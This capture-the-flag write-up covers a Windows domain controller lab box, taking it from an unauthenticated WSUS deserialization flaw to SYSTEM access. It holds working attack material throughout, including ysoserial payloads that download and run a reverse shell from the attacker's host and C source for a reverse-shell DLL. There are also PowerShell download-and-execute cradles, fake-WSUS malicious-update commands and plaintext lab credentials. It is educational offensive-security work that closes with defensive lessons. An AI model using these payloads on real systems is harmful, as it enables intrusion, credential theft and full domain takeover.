Overview

Logging is a Medium-rated Windows Active Directory machine that puts you up against a Domain Controller running Windows Server Update Services (WSUS). Every step of the chain is grounded in real enterprise attack techniques making this one of the more educational boxes of the season.

#TechniqueOutcome
1CVE-2025-59287 - Unauthenticated WSUS Deserialization RCECode execution on DC
2SMB log file credential leaksvc_recovery credentials
3Kerberos-only auth + clock syncValid domain session
4Shadow credentials against msa_health$TGT for MSA account
5WinRM shell as msa_health$Interactive shell on DC
6DLL hijack via zip dropShell as jaylee.clifton
7Rubeus TGT delegationKerberos ticket for jaylee
8DNS spoofing + fake WSUS serverSYSTEM shell on DC

Background: Active Directory and WSUS

Before diving into exploitation it helps to understand the environment.

Active Directory (AD) is Microsoft’s directory service - the central nervous system of a Windows corporate network. It manages every user, computer, group, and policy in the organization. The Domain Controller (DC) is the server that runs AD. Compromising the DC means owning the entire domain.

WSUS (Windows Server Update Services) lets organizations manage Windows updates internally. Instead of every machine fetching patches directly from Microsoft, they all check in with the internal WSUS server. In this box WSUS runs on the DC itself - a common configuration in smaller organizations that turns out to be catastrophically dangerous.


Reconnaissance

Nmap Port Scan

The first step on any box is figuring out what services are exposed. Nmap is the standard tool for this.

nmap -sCV -p- --min-rate 5000 -oN logging.nmap $TARGET
┌─[havoc@havocsec]─[~/Downloads/htb/season10/logging]
└──╼ $nmap -sC -sV 10.129.39.134
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-19 07:10 EAT
Nmap scan report for logging.htb (10.129.39.134)
Host is up (0.14s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-19 11:10:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-19T11:11:09+00:00; +7h00m00s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-19T11:11:10+00:00; +7h00m00s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T11:11:10+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T11:11:10+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-19T11:11:00
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.83 seconds
┌─[havoc@havocsec]─[~/Downloads/htb/season10/logging]
└──╼ $

Flag breakdown:

  • -sCV - Run service version detection (-sV) and default scripts (-sC) together
  • -p- - Scan all 65535 ports, not just the common top 1000
  • --min-rate 5000 - Send at least 5000 packets per second to speed things up
  • -oN logging.nmap - Save output to a file in normal readable format

Key results:

PortServiceNotes
53DNSEvery DC runs DNS for name resolution
80HTTP (IIS)Default IIS web server
88KerberosConfirms this is an Active Directory DC
389 / 636LDAP / LDAPSUsed to query the directory
445SMBFile sharing - often leaks credentials
3268 / 3269Global Catalog LDAPMore AD infrastructure
5985WinRMWindows Remote Management - remote shell access
8530 / 8531WSUSOur entry point

The domain is logging.htb and the hostname is DC01. Add both to your hosts file so tools can resolve them by name:

echo "$TARGET  dc01.logging.htb logging.htb" | sudo tee -a /etc/hosts

WSUS Enumeration

Ports 8530 and 8531 are the standard WSUS HTTP and HTTPS ports. Brute-force the directory structure with feroxbuster:

feroxbuster -u http://$TARGET:8530/ \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -s 200 301 302 -n --quiet

What is feroxbuster? It sends thousands of common directory and file name guesses against the web server to discover hidden endpoints - essentially brute-forcing the site’s structure.

feroxbuster

200  GET  http://$TARGET:8530/
301  GET  http://$TARGET:8530/inventory  →  .../inventory/

The WSUS service responds with no login page in the way - we reach it directly. That matters greatly in the next step.


Initial Foothold - CVE-2025-59287

Understanding the Vulnerability

CVE-2025-59287 is a critical unauthenticated Remote Code Execution flaw in Microsoft WSUS. When a client sends an HTTP request to WSUS, the server processes an AuthorizationCookie value from that request. The problem is that WSUS uses .NET’s BinaryFormatter to deserialize this cookie without verifying it came from a trusted source.

What is deserialization? Serialization is converting a live object in memory into bytes for storage or transmission. Deserialization is the reverse - turning those bytes back into a live object. BinaryFormatter is unsafe because a crafted payload can embed instructions that execute arbitrary code during the reconstruction process, before any validation runs. No credentials are needed because the cookie is processed before authentication occurs.

Setting Up the Exploit

Clone the PoC:

git clone https://github.com/M507/CVE-2025-59287-PoC
cd CVE-2025-59287-PoC

First confirm you have RCE by making the target ping back to you:

# Catch the ping on your VPN interface
sudo tcpdump -i tun0 icmp

# Generate the payload with ysoserial.NET
./ysoserial.exe -g RolePrincipal -f BinaryFormatter \
  -c 'ping <YOUR_LHOST>' -o base64

ysoserial flag breakdown:

  • -g RolePrincipal - The gadget chain to use. A gadget chain is a sequence of existing .NET classes that when deserialized in the right order triggers code execution. RolePrincipal is a well-known chain for WSUS targets
  • -f BinaryFormatter - The serialization formatter WSUS uses internally
  • -c 'ping <YOUR_LHOST>' - The OS command to execute on the target
  • -o base64 - Encode the payload as base64 so it fits cleanly in an HTTP cookie

Feed the payload into the PoC targeting port 8530. If ICMP packets arrive in tcpdump you have unauthenticated code execution on the Domain Controller.

Getting a Reverse Shell

Upgrade the ping to an interactive shell:

# 1. Generate a reverse shell exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=4444 \
  -f exe -o shell.exe

# 2. Host it
python3 -m http.server 8080

# 3. Start your listener
nc -lvnp 4444

# 4. Use ysoserial to download and execute it
./ysoserial.exe -g RolePrincipal -f BinaryFormatter \
  -c 'powershell -c "Invoke-WebRequest http://<LHOST>:8080/shell.exe -OutFile C:\Windows\Temp\s.exe; C:\Windows\Temp\s.exe"' \
  -o base64

You now have a shell on DC01 running as the WSUS service account.


Credential Discovery - SMB Log File

Enumerating Shares

SMB (Server Message Block) is Windows’s file-sharing protocol. Servers frequently expose shares containing logs, backups, and scripts - often with sensitive data left inside. Enumerate what is available:

crackmapexec smb $TARGET -u 'guest' -p '' --shares

A share named Logs stands out. Access it with smbclient:

smbclient //dc01.logging.htb/Logs -N

Browse the share and download any log files. The interesting one is IdentitySync_Trace_20260219.log - a trace log from an identity synchronization service.

Extracting Credentials

cat IdentitySync_Trace_20260219.log | grep -i "BindPass"
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump:
{ Domain: "logging.htb", Server: "DC01", SSL: "False",
  BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }

What happened here? The IdentitySync service logs its LDAP connection details at VERBOSE level - including the password in plaintext. This is a common developer mistake: overly verbose logging left enabled in production. The entry also shows the connection failed with “Invalid Credentials” which is a clue. The log is from February 2026 and the password ends in 2025 - it was likely rotated at the new year. Try Em3rg3ncyPa$$2026.

Credentials found: LOGGING\svc_recovery / Em3rg3ncyPa$$2026


Kerberos Authentication Setup

Why NTLM Fails

Trying the credentials over SMB normally returns STATUS_ACCOUNT_RESTRICTION. This means the account exists and the password is correct, but the account is configured to deny NTLM authentication. NTLM is the older Windows authentication protocol - disabling it prevents credential relay attacks. We must use Kerberos instead.

What Is Kerberos?

Kerberos is an authentication protocol based on tickets rather than passwords. The flow works like this:

  1. You prove your identity to the Key Distribution Center (KDC) - which lives on the DC
  2. The KDC issues a Ticket Granting Ticket (TGT) - a cryptographic proof of your identity
  3. You present your TGT to get Service Tickets for specific services
  4. Services validate your ticket without ever seeing your password

The critical requirement: your system clock must be within 5 minutes of the DC. If the clocks are too far apart Kerberos rejects tickets as potentially replayed by an attacker.

Clock Synchronization

# Stop automatic time sync so it doesn't interfere
sudo timedatectl set-ntp 0
sudo systemctl stop systemd-timesyncd

# If using VirtualBox, also stop the VM from syncing with the host clock
sudo /etc/init.d/virtualbox-guest-utils stop

# Sync your system clock to the DC
sudo ntpdate -s $TARGET

Generating krb5.conf

Kerberos tools on Linux need a configuration file at /etc/krb5.conf that tells them where the KDC is and what realm (domain) to authenticate against. Netexec can generate this automatically:

nxc smb $TARGET --generate-krb5-file /etc/krb5.conf

krb

Verify it looks correct - it should reference LOGGING.HTB as the realm pointing to dc01.logging.htb.

Verifying Credentials and Getting a TGT

Verify the credentials are accepted using credwolf with AES256 encryption - RC4 (the older Kerberos cipher) is disabled in this environment:

credwolf -d logging.htb kerberos --transport tcp \
  --kdc-ip logging.htb -u svc_recovery \
  -p 'Em3rg3ncyPa$$2026' -e aes256

credwolf

Why AES256 specifically? Hardened modern AD environments disable RC4 Kerberos encryption to prevent certain downgrade attacks. Specifying AES256 ensures we negotiate the right cipher rather than having the client fall back to RC4 and get rejected.

Once verified, request a TGT with kw-tgt:

kw-tgt -d logging.htb --transport tcp --dc-ip logging.htb \
  -u svc_recovery -p 'Em3rg3ncyPa$$2026' -e aes256

or getTGT.py

getTGT

This saves a svc_recovery.ccache file - a Kerberos credential cache containing your TGT. Tell your tools to use it:

export KRB5CCNAME=svc_recovery.ccache

Confirm everything works:

nxc smb logging.htb -k --use-kcache

Active Directory Enumeration - BloodHound

What Is BloodHound?

BloodHound maps out Active Directory relationships and permissions then uses graph theory to find attack paths toward high-value targets like Domain Admin. It collects data via bloodhound-python and visualizes it as a node graph where edges represent permissions or relationships - and some edges represent dangerous privileges that can be abused.

Collecting Data

bloodhound-python -k -u svc_recovery -p 'Em3rg3ncyPa$$2026' -d logging.htb -dc DC01.logging.htb -ns 10.129.39.91 -c All --zip

bloodhound Flag breakdown:

  • -k - Use Kerberos authentication (no NTLM)
  • -c All - Collect everything: users, groups, computers, ACLs, sessions, trusts
  • --zip - Package output for direct import into BloodHound

Import the zip into BloodHound and run “Shortest Paths to Domain Admin”. You will see that svc_recovery has GenericAll over msa_health$. path

Understanding GenericAll

GenericAll is the most powerful permission in Active Directory - it grants full control over the target object. With GenericAll over msa_health$ we can reset its password, modify its group memberships, and write to any of its attributes - including msDS-KeyCredentialLink, which is what we need for the next attack.


Shadow Credentials - Getting a TGT for msa_health$

What Are Shadow Credentials?

msDS-KeyCredentialLink is an attribute that stores cryptographic key pairs used for Windows Hello for Business and certificate-based Kerberos authentication (PKINIT). If you can write to this attribute - which GenericAll gives us - you can inject your own public key. You then use your corresponding private key to request a Kerberos TGT for that account without knowing its password.

This is called Shadow Credentials because you are silently adding a hidden authentication path to the account. Unlike a password reset, this generates no password-change event and leaves the real password intact - making it stealthy.

Exploiting with bloodyAD

bloodyAD -k ccache=svc_recovery.ccache -d logging.htb \
  --host dc01.logging.htb add shadowCredentials 'msa_health$'

bloodyAD

bloodyAD will:

  1. Generate a fresh RSA key pair on your machine
  2. Write the public key into msa_health$’s msDS-KeyCredentialLink attribute
  3. Use the private key to authenticate via PKINIT (certificate-based Kerberos)
  4. Return a .ccache file containing a valid TGT for msa_health$

Alternatively use pywhisker which performs the same operation:

pywhisker -d logging.htb -u svc_recovery -k \
  --dc-ip $TARGET -t 'msa_health$' -a add

Export the MSA’s ticket:

export KRB5CCNAME=msa_health_v0.ccache

What Is a Managed Service Account?

msa_health$ is a Managed Service Account - a special AD account type with the dollar sign suffix convention indicating machine or service accounts. MSAs have automatically rotating passwords managed by the DC, which is exactly why we cannot simply dump or guess the password. Shadow credentials let us bypass this entirely by authenticating with a certificate instead.


Shell as msa_health$ via WinRM

WinRM (Windows Remote Management) on port 5985 is the Windows equivalent of SSH - it allows remote command execution on the machine.

Install evil-winrm-py with Kerberos support:

uv tool install evil-winrm-py[kerberos]

Connect using the MSA’s Kerberos ticket:

evil-winrm-py -i logging.htb -k

Why use the domain name instead of the IP? Kerberos performs service ticket validation using the hostname in the Service Principal Name (SPN). Connecting via IP bypasses DNS resolution and breaks ticket validation. Always use the FQDN or domain name with Kerberos-based authentication.

You now have a PowerShell prompt on DC01 as LOGGING\msa_health$.

or we use the evilwinrm with the NT Hash we got earlier with this command here the shortest path wins

evil-winrm -u 'msa_health$' -H 603fc24ee01a9409f83c9d1d701485c5 -i dc01.logging.htb

and we get shell simple as that. evilwinrm


Lateral Movement - DLL Hijack via Zip Drop

Discovering the Scheduled Task

Enumerate scheduled tasks looking for anything running as a different user:

Get-Content "C:\Windows\System32\Tasks\UpdateChecker Agent"

updateagent-xml

The XML reveals:

  • Binary: C:\Program Files\UpdateMonitor\UpdateMonitor.exe
  • Runs as: LOGGING\jaylee.clifton
  • Interval: Every 3 minutes (PT3M)

We are currently msa_health$. We want to become jaylee.clifton - and this task is our bridge.

How the DLL Hijack Works

Watch the application’s log to understand its behavior:

Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Tail 30

You will see:

Evil-WinRM* PS C:\Users\msa_health$\Documents> Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Tail 30
[2026-04-19 07:20:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-19 07:20:15] Failed to load settings_update.dll. Error code: 126
[2026-04-19 07:20:15] Update check completed.
[2026-04-19 07:23:15] Starting Sentinel Update Check...
[2026-04-19 07:23:15] Checking for update on core server...
[2026-04-19 07:23:15] Info: Core did not find file Settings_Update.zip
[2026-04-19 07:23:15] Last status: File not found on core
[2026-04-19 07:23:15] Checking for update on local server...
[2026-04-19 07:23:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-19 07:23:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-19 07:23:15] Failed to load settings_update.dll. Error code: 126
[2026-04-19 07:23:15] Update check completed.
[2026-04-19 07:26:15] Starting Sentinel Update Check...
[2026-04-19 07:26:15] Checking for update on core server...
[2026-04-19 07:26:15] Info: Core did not find file Settings_Update.zip
[2026-04-19 07:26:15] Last status: File not found on core
[2026-04-19 07:26:15] Checking for update on local server...
[2026-04-19 07:26:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-19 07:26:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-19 07:26:15] Failed to load settings_update.dll. Error code: 126
[2026-04-19 07:26:15] Update check completed.
[2026-04-19 07:29:15] Starting Sentinel Update Check...
[2026-04-19 07:29:15] Checking for update on core server...
[2026-04-19 07:29:15] Info: Core did not find file Settings_Update.zip
[2026-04-19 07:29:15] Last status: File not found on core
[2026-04-19 07:29:15] Checking for update on local server...
[2026-04-19 07:29:15] No updates found locally: C:\ProgramData\UpdateMonitor\Settings_Update.zip.
[2026-04-19 07:29:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-19 07:29:15] Failed to load settings_update.dll. Error code: 126
[2026-04-19 07:29:15] Update check completed.

The binary follows this sequence:

  1. Checks for C:\ProgramData\UpdateMonitor\Settings_Update.zip
  2. If found, extracts settings_update.dll from the zip
  3. Copies it to C:\Program Files\UpdateMonitor\bin\settings_update.dll
  4. Loads the DLL and calls the PreUpdateCheck export

Why is this exploitable? We have write access to C:\ProgramData\UpdateMonitor\

  • a world-writable staging directory - but not to C:\Program Files\UpdateMonitor\bin\ where privileged binaries live. The zip-drop mechanism acts as an escalation bridge: the process itself moves our file into the privileged location, and since it runs as jaylee.clifton, our DLL loads in that user’s security context. We essentially trick the application into installing our malicious DLL for us.

Crafting the Malicious DLL

Write evil.c on your Kali machine:

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32")

/*
 * This export name must exactly match what UpdateMonitor.exe calls.
 * We confirmed it calls PreUpdateCheck from the monitor.log output.
 */
__declspec(dllexport) void PreUpdateCheck() {
    /* Initialize Windows Sockets so we can create network connections */
    WSADATA wsa;
    WSAStartup(MAKEWORD(2,2), &wsa);

    /* Create a standard TCP socket */
    SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    /* Configure the destination: your Kali machine */
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(4444);                         /* listener port */
    inet_pton(AF_INET, "<YOUR_LHOST>", &sa.sin_addr);  /* tun0 IP */

    /* Connect our socket back to Kali */
    connect(s, (struct sockaddr*)&sa, sizeof(sa));

    /*
     * Attach the socket to cmd.exe's stdin, stdout, and stderr.
     * This makes all input/output travel over the network socket
     * giving us an interactive shell through the connection.
     */
    STARTUPINFOA si = {0};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s;

    PROCESS_INFORMATION pi = {0};
    CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
}

/* Standard DLL entry point - must return TRUE to signal successful load */
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
    return TRUE;
}

Compile using MinGW - the cross-compiler that builds Windows binaries on Linux:

x86_64-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32

Command breakdown:

  • x86_64-w64-mingw32-gcc - Cross-compiler targeting 64-bit Windows
  • -shared - Output a DLL rather than an executable
  • -o settings_update.dll - Filename must match exactly what the application expects
  • -lws2_32 - Link against the Windows Sockets library for network functions

Package into a zip with the exact expected archive name:

zip Settings_Update.zip settings_update.dll

If you prefer a no-code approach, msfvenom generates the DLL directly:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.xxx LPORT=4444 \
  -f dll -o settings_update.dll
zip Settings_Update.zip settings_update.dll

Delivering the Payload

Start your listener first:

nc -lvnp 4444 or penelope 

Upload the zip from your evil-winrm-py session:

upload Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip

Wait up to 3 minutes. The scheduled task fires, UpdateMonitor.exe unzips the archive, copies the DLL into bin\, loads it, and calls PreUpdateCheck - which connects back to your listener as LOGGING\jaylee.clifton.

If nothing happens after 3 minutes check the monitor log for errors:

Get-Content "C:\ProgramData\UpdateMonitor\Logs\monitor.log" -Tail 10

priv-escalation-shell shelling the shell

Privilege Escalation - WSUS Man-in-the-Middle Attack

The Concept

Every Windows machine periodically contacts its WSUS server to check for updates. This is handled by the Windows Update Agent which runs as SYSTEM. The attack:

  1. Add a DNS entry pointing wsus.logging.htb at our Kali machine
  2. Run a fake WSUS server on Kali that the DC will connect to
  3. Serve a malicious “update” that the Update Agent downloads and executes as SYSTEM
  4. Get a SYSTEM shell

This works because the Windows Update Agent trusts whatever binary the WSUS server declares as an approved update. There is no code-signing enforcement for updates served by internal WSUS in default configurations.

Step 1 Get a Valid Kerberos Ticket for jaylee.clifton

We need a proper Kerberos ticket to authenticate domain operations as jaylee. From the reverse shell, use Rubeus to delegate a TGT:

Rubeus.exe tgtdeleg /nowrap

rubeus

What does tgtdeleg do? It requests a delegatable TGT for the currently logged-on user without requiring admin rights. The /nowrap flag outputs the base64-encoded ticket without line breaks so it is easy to copy.

Back on Kali, convert it:

# Decode and save the kirbi file
echo "<base64_ticket_here>" | base64 -d > jaylee.clifton.kirbi

# Convert from Windows kirbi format to Linux ccache format
ticketConverter.py jaylee.clifton.kirbi jaylee.clifton.ccache

export KRB5CCNAME=jaylee.clifton.ccache

Optionally get a certificate and NT hash via ADCS for a more durable authentication path:

# Request a certificate as jaylee.clifton using your Kerberos ticket
certipy req -target dc01.logging.htb -dc-host dc01.logging.htb \
  -k -no-pass -ca logging-DC01-CA

# Authenticate with the certificate - outputs a fresh TGT and the NT hash
certipy auth -dc-ip $TARGET -pfx jaylee.clifton.pfx

Step 2 - Add a Rogue DNS Entry

We need wsus.logging.htb to resolve to our Kali IP. Standard DNS management tools require Domain Admin rights. Instead we use PowerMad’s Invoke-DNSUpdate which abuses the DNS dynamic update protocol - a feature that allows authenticated domain users to register their own DNS records (how workstations auto-register themselves when joining a domain).

# Load PowerMad into memory from your Kali web server
IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/Invoke-DNSUpdate.ps1')

# Add an A record: wsus.logging.htb → your Kali tun0 IP
Invoke-DNSUpdate -DNSType A -DNSName wsus -DNSData 10.10.15.236 -Realm logging.htb

Confirm the DNS entry resolves correctly from Kali:

ping wsus.logging.htb
# Should reply from YOUR Kali IP, not the real DC

Also add it to your local /etc/hosts:

echo "<YOUR_LHOST>  wsus.logging.htb" | sudo tee -a /etc/hosts

Step 3 - Set Up the Fake WSUS Server

Use wsuks - a modern tool that handles the WSUS MITM and TLS without needing to manually patch pywsus:

# Install
sudo apt install pipx python3-nftables
pipx ensurepath
pipx install wsuks --system-site-packages
sudo ln -s ~/.local/bin/wsuks /usr/local/sbin/wsuks

Prepare your reverse shell payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LHOST> LPORT=9001 \
  -f exe -o rev.exe

# Start a second listener for the SYSTEM shell
nc -lvnp 9001

Run the fake WSUS server:

wsuks --serve-only \
  --WSUS-Server wsus.logging.htb \
  --tls-cert wsus_cert.pem \
  --WSUS-Port 8531 \
  -I tun0 \
  -c "C:\Windows\Temp\rev.exe"

Flag breakdown:

  • --serve-only - Act as a WSUS server only, do not proxy to the real WSUS
  • --WSUS-Server wsus.logging.htb - The hostname our fake server announces itself as
  • --tls-cert wsus_cert.pem - TLS certificate (port 8531 requires HTTPS)
  • -I tun0 - Listen on the VPN interface
  • -c - The command to execute on the victim via the fake update

If you prefer the classic tool, pywsus also works:

python3 pywsus.py -H wsus.logging.htb -p 8531 \
  -e PsExec64.exe -c "-accepteula -s cmd.exe"

How does this actually work? wsuks and pywsus respond to the Windows Update Agent’s SOAP API requests with crafted responses that claim your payload is an approved and required Windows update. The Update Agent - which runs as SYSTEM - downloads the binary from your server and executes it. No code-signing verification blocks this in default WSUS configurations.

Step 4 - Trigger the Update Check

The DC checks WSUS on its own schedule but you can force an immediate check from the jaylee.clifton shell:

# Force an immediate WSUS sync
wuauclt.exe /detectnow /updatenow

# On newer Windows builds
UsoClient.exe StartScan

Watch wsuks output as the DC connects to your fake WSUS, requests the update catalog, and downloads your payload. Shortly after your SYSTEM listener receives a connection.


Root

With a SYSTEM shell you can recover the Administrator password from the registry or credential stores. Alternatively it surfaced during post-exploitation:

getTGT.py logging.htb/administrator:'ParolaptController2026#'
export KRB5CCNAME=administrator.ccache

Retrieve the root flag:

nxc smb $TARGET -u Administrator -k --use-kcache \
  -x "type C:\Users\toby.brynleigh\Desktop\root.txt"

Or get an interactive session:

psexec.py -k logging.htb/Administrator@dc01.logging.htb

logging-root

C:\Users\toby.brynleigh\Desktop> type root.txt
<root_flag>

![root-flag](/images/logging root-flag-flag.png)

Note: The root flag lives on toby.brynleigh’s desktop rather than Administrator’s. This is intentional - it reinforces that SYSTEM or Administrator access on Windows means you can read any file on the machine regardless of which user it belongs to.

thankyou


Full Attack Chain

flowchart TD A["DC01: 8530/8531\nWSUS"] B["CVE-2025-59287\nUnauthenticated BinaryFormatter Deserialization"] C["RCE as WSUS Service Account"] D["SMB Share\nLogs/IdentitySync_Trace_20260219.log"] E["svc_recovery\nEm3rg3ncyPa$$2026"] F["Kerberos TGT\nAES256 + clock sync"] G["BloodHound\nGenericAll over msa_health$"] H["Shadow Credentials\nmsDS-KeyCredentialLink write"] I["TGT for msa_health$"] J["evil-winrm-py\nWinRM: 5985"] K["Scheduled Task\nUpdateMonitor.exe (jaylee.clifton)"] L["DLL Hijack via Settings_Update.zip"] M["Shell as jaylee.clifton"] N["Rubeus tgtdeleg\nccache"] O["PowerMad\nDNS wsus.logging.htb -> Kali"] P["wsuks\nFake WSUS (port 8531)"] Q["SYSTEM via malicious update delivery"] A --> B --> C --> D --> E --> F --> G --> H --> I --> J --> K --> L --> M --> N --> O --> P --> Q style A fill:#1e3a5f,color:#fff,stroke:#4a90d9 style B fill:#1e3a5f,color:#fff,stroke:#4a90d9 style C fill:#1e3a5f,color:#fff,stroke:#4a90d9 style D fill:#2a4a2a,color:#fff,stroke:#5a9a5a style E fill:#2a4a2a,color:#fff,stroke:#5a9a5a style F fill:#4a3a1e,color:#fff,stroke:#d4a030 style G fill:#4a3a1e,color:#fff,stroke:#d4a030 style H fill:#7a1f1f,color:#fff,stroke:#e05252 style I fill:#7a1f1f,color:#fff,stroke:#e05252 style J fill:#7a1f1f,color:#fff,stroke:#e05252 style K fill:#7a1f1f,color:#fff,stroke:#e05252 style L fill:#7a1f1f,color:#fff,stroke:#e05252 style M fill:#7a1f1f,color:#fff,stroke:#e05252 style N fill:#7a1f1f,color:#fff,stroke:#e05252 style O fill:#7a1f1f,color:#fff,stroke:#e05252 style P fill:#7a1f1f,color:#fff,stroke:#e05252 style Q fill:#7a1f1f,color:#fff,stroke:#e05252

Key Takeaways

WSUS on the DC with no network segmentation is catastrophic. CVE-2025-59287 requires zero credentials and produces SYSTEM-level code execution. WSUS should never be reachable from attacker-controlled hosts - strict network segmentation and patching are the only real mitigations.

Verbose logging kills credential hygiene. The identity sync service logged its LDAP bind password at VERBOSE level in a file stored on a readable SMB share. Secrets should never appear in logs. Use Windows Credential Manager, DPAPI, or gMSAs for service authentication instead of plaintext passwords in connection strings.

Kerberos-only restrictions add friction but are not a silver bullet. Forcing AES Kerberos and blocking NTLM for svc_recovery was a sensible hardening step that required us to sync clocks and negotiate the correct cipher. However since the password was recoverable from a log file the restriction only added a small hurdle. Proper secrets management matters more than authentication protocol restrictions.

Shadow credentials are a stealthy alternative to password resets. Writing to msDS-KeyCredentialLink generates no password-change event and leaves the real password untouched. Detection requires specifically monitoring for modifications to this attribute on machine and service accounts.

DLL hijack via zip drop is an underappreciated attack vector. When an application extracts files from a user-controlled location into a privileged directory and then loads them it effectively hands you code execution at its privilege level. Always verify the cryptographic integrity of dynamically loaded components.

WSUS MITM escalates to SYSTEM on every managed machine. Any host that checks into WSUS is a potential SYSTEM shell for anyone who can redirect that DNS name. WSUS deployments should use HTTPS exclusively, enforce certificate pinning via Group Policy, and alert on DNS record changes for WSUS-related hostnames.